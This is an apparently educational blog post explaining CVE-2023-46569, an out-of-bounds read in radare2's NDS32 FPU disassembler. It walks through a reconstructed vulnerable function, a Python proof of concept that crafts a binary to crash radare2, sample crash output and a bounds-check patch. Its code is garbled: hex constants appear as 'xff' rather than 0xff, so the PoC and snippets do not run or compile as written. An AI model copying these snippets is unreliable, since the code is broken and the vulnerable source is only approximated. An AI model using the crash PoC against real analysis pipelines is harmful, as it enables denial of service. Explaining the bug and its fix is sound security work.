Radare2 is a popular open-source reverse engineering framework. It's used by security researchers, malware analysts, and CTF players all over the world to analyze binaries. However, even popular tools can have vulnerabilities. Today, we’ll dive into a recent flaw: CVE-2023-46569, which affects radare2 up to version 5.8.9.

This post is crafted exclusively for educational purposes. We’ll see how the bug works, walk through vulnerable code, and look at proof-of-concept steps. Everything is explained in simple, clear terms.

What is CVE-2023-46569?

CVE-2023-46569 is a vulnerability caused by an out-of-bounds read in radare2’s code. Specifically, it happens inside the print_insn32_fpu function in the libr/arch/p/nds32/nds32-dis.h file. An out-of-bounds read can let an attacker leak memory data or cause a crash (denial-of-service), and sometimes even escalate to code execution if combined with other bugs.

Vulnerability: Out-of-bounds read

- File/Function: libr/arch/p/nds32/nds32-dis.h, print_insn32_fpu

The Vulnerable Code

Let’s look at a simplified version of the vulnerable part.

Here’s how the function roughly looks in nds32-dis.h

static int print_insn32_fpu(bfd_vma memaddr, disassemble_info *info) {
    uint32_t insn;
    // ... omitted code ...

    insn = bfd_getl32((bfd_byte *)info->private_data);
    // ... logic using 'insn'...

    const char *opcode = opcodes_fpu[(insn >> 20) & xff];
    // process 'opcode'...
    if (!opcode) return -1;

    // ... more logic
}

What’s Wrong Here?

- The code takes a user-controlled 32-bit value and uses it to index into the opcodes_fpu[] lookup table.
- But it doesn’t check if the index (insn >> 20) & xff is actually in the bounds of opcodes_fpu, depending on the value of insn (that comes from user input, such as a crafted binary).

- If the crafted input provides a high enough index, it will access memory beyond the array

const char *opcode = opcodes_fpu[idx]; // where idx can be out of bounds

- This could leak information or crash the process when radare2 tries to print or analyze such a binary.

1. Crafting a Malicious Input

By building a special binary file and opening it with radare2, an attacker can set the instruction bits such that:

Minimal PoC

# make_poc.py
with open('poc.bin', 'wb') as f:
    # xff << 20 = xff00000
    insn_bytes = (xff << 20).to_bytes(4, byteorder='little')  # idx = xff
    f.write(insn_bytes)

Run radare2 against your crafted file

radare2 -A poc.bin

If debug symbols are enabled, you might see radare2 crash in gdb like this

Program received signal SIGSEGV, Segmentation fault.
print_insn32_fpu (...) at nds32-dis.h:XXX

Or, if you’re lucky (or unlucky), the content at the out-of-bounds location might point *somewhere*, leaking heap or stack content.

Why is This Dangerous?

- Information Leak: If opcodes_fpu is next to sensitive data, that data could be seen in radare2’s output window.
- Crash / DoS: Fuzzed or malicious binaries can be used to crash tools that rely on radare2, such as automated analysis sandboxes.

In fuzzing scenarios, this becomes an easy way to stop analysis or attempt further attacks if chained with other vulnerabilities.

How was it Fixed?

Developers fixed the bug by properly checking the index before dereferencing the table.

Patch Example

unsigned int idx = (insn >> 20) & xff;
if (idx >= (sizeof(opcodes_fpu)/sizeof(char*))) {
    return -1; // Prevent out-of-bounds access
}
const char *opcode = opcodes_fpu[idx];

References and More Reading

- radare2 GitHub
- CVE-2023-46569 at NVD
- Fix commit on radare2
- CVE report at OSS Security

If you use radare2 for binary analysis or in automated pipelines, update to the latest version.

- Never analyze untrusted or fuzzed binaries with outdated tools—they might crash or leak data as shown.
- This vulnerability is a great example of how careful bounds-checking is for all C code, especially when dealing with user-controlled input.

Stay safe, and always keep your reverse engineering tools up-to-date!

Timeline

Published on: 10/28/2023 02:15:07 UTC
Last modified on: 10/31/2023 15:24:49 UTC